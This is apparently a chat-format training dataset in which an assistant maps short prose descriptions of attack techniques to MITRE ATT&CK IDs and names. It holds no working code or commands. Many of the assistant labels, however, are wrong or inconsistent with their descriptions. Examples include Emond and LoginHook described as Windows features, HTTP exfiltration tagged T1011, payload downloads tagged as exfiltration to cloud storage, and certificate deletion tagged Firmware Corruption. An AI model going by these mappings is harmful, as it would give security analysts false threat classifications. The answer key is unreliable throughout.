                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses CMSTP to bypass AppLocker by specifying a malicious .inf file that runs a hidden JavaScript downloader."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged stolen credentials to mount a network share and siphon data."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor configures an Emond subscription that activates a malicious PowerShell command whenever the Windows Update service logs an event."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a custom Office add-in that modifies the startup path in the Office registry keys, causing the payload to execute each time any Office app starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encoded confidential documents into HTTP GET requests to a remote server, bypassing normal outbound filters."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used WMI to enumerate Win32_ComputerSystem objects across the domain to locate remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes \"ps aux\" inside a container to detect host processes visible from the container namespace."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a DNS provider’s infrastructure to redirect victim traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script written in Visual Basic reads the contents of a sensitive file and emails it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use dynamically generated domain names via a DNS tunneling technique to hide C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages DLL search order hijacking by adding a malicious library to a subdirectory that the victim's program searches before the legitimate DLL path."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a rogue host that answers LLMNR and NetBIOS name requests, forcing victims to send their SMB credentials to the malicious server."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the login screen UI to collect usernames and passwords entered by the user."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a high‑traffic website, the attacker delivers a malicious script that initiates a credential‑stealing tool on any visitor’s computer."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses the API call NtGetNextProcess to enumerate processes, creating a list to target for code injection."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures the audio output from the speakers using loopback recording and stores the recordings locally."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the LDAP directory entries, converting cleartext passwords into reversible encrypted strings that the adversary can later decode."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all mounted drives, encrypts each file with a unique key, and overwrites the original files, then shows a message demanding a decryption tool."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor renames its payload to look like a legitimate system DLL."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with the key generation routine to produce keys of insufficient length, facilitating cryptanalysis."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ asymmetric encryption to protect remote desktop sessions from detection."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension injects code into web pages to capture keystrokes and send them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the device's pre-boot firmware via ROMMONkit to replace the bootloader with a compromised version, allowing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script downloads and executes additional modules from a cloud‑based object storage service."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit kit hosted on a compromised website automatically delivered a drive‑by download payload, granting the attacker the ability to execute further commands on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By forging a Kerberos ticket with a stolen service account hash, the threat actor accessed the network printer service to exfiltrate information."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious update that changes the default key length from 256-bit RSA to 1024-bit, making cryptographic keys easier to factor."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain attack, malicious code was injected into a software update that ran on multiple corporate servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a .service file that triggers a payload when the system reaches multi-user.target."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake security update executable is presented to users via a pop‑up; once the user runs the file, it installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses the Linux 'id' command to enumerate the current user’s UID and groups."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures a firewall to block all inbound traffic but monitors a specific sequence of connection attempts to closed ports; when the correct order of ports is knocked, the firewall opens a hidden port for a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs an AS‑REP roast by enumerating users with 'Do not require Kerberos pre‑authentication' and dumping their AS‑REP responses for later password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators use regasm.exe to load a malicious assembly into a privileged process, abusing the Regsvcs/Regasm proxy for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a signed installer to add a LaunchAgent that launches a keylogger at startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages the Windows API to list open windows and associated process IDs for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a malicious JavaScript in an Outlook Form region to retrieve credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain legitimate user credentials and use them to sign into the victim's AWS Management Console, allowing persistent access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stage collected data on a victim's system by organizing it into a temporary staging directory."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious executable named 'svchost.exe' in a folder whose path contains spaces and is not quoted, intercepting the execution flow of legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes extracting the SAM file via a VSS snapshot to bypass file locks."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension was installed that intercepted and logged credentials typed into web‑based chat applications like Mattermost, then sent the data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a backdoor to sync with the victim's Outlook client and copy all email files."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages DCOM to open a remote session on a Windows server and runs PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a script that removes all SSL certificates from the server."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group abuses DCOM to remotely invoke WMI methods, allowing execution of arbitrary code without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sanitizes the environment by removing registry entries that were added to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware XOR‑encodes stolen data with a static key before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker schedules a recurring Docker Swarm service that pulls and runs a backdoor container every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload alters the PowerShell logging registry keys, disabling command line auditing on Windows."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware payload identifies network shares, encrypts all accessible files, and leaves a README.txt with instructions for payment to restore the data."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes custom ransomware in C++ to encrypt victim files and exfiltrate keys."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs passive DNS lookup services to locate previously associated IP addresses for a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting the Windows Task Scheduler allows an attacker to schedule tasks on remote systems, demonstrating another method of lateral movement within a network."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 payload runs a Python script that calls platform.node() and platform.processor() to discover system location specifics."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate victim-owned domains using WHOIS and DNS records to discover exposed login portals and metadata."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group configures a server-side rule that redirects copies of incoming emails to a remote account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer adds a program path to the Winlogon LoginHook value, ensuring the program runs on each login."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor crafts a malicious JavaScript payload that steals CSRF tokens from a user's session and uses them to forge authenticated requests to the web service."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hides exfiltrated data in the metadata of legitimate PDF files and uploads them to a public file‑sharing service."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a .cmd file in the registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, causing Windows to execute the script as a proxy for later malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s code includes a routine that sleeps for 5 minutes before decrypting its payload, ensuring it will not run in sandbox environments that terminate processes quickly."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers demonstrate a technique where they change the permissions of an executable installer to be world-executable and writable, then embed a payload that runs during installation with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses stolen files into a zip archive and uploads it to a publicly accessible FTP server."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the system for recent mouse movement events and halts if it determines the environment is likely a sandbox with no user interaction."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Windows registry for the values under 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters' to discover the system's DNS and DHCP settings."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Wi‑Fi hotspot was set up near the corporate building, and connecting devices automatically downloaded a trojan via a captive portal."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a serverless function in IBM Cloud Functions, allowing the attacker to perform lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability to gain access to the process's memory space and injects a backdoor directly into its code segment."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder replaces the system’s default image viewer association with a trojan, causing the trojan to run whenever an image file is viewed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a custom DLL that reads Firefox's logins.json file to collect stored usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker remotely accesses a network device's CLI via a compromised account to disable port security features."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email leads to a credential-stealing script that scrapes Azure Resource Manager templates for subscription IDs and keys."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary searches the target company's LinkedIn page and internal employee directory to map out which individuals hold privileged roles such as administrators, finance officers, and developers."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies InstallUtil.exe to a non‑system directory and executes it with a malicious assembly to bypass AppLocker rules."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
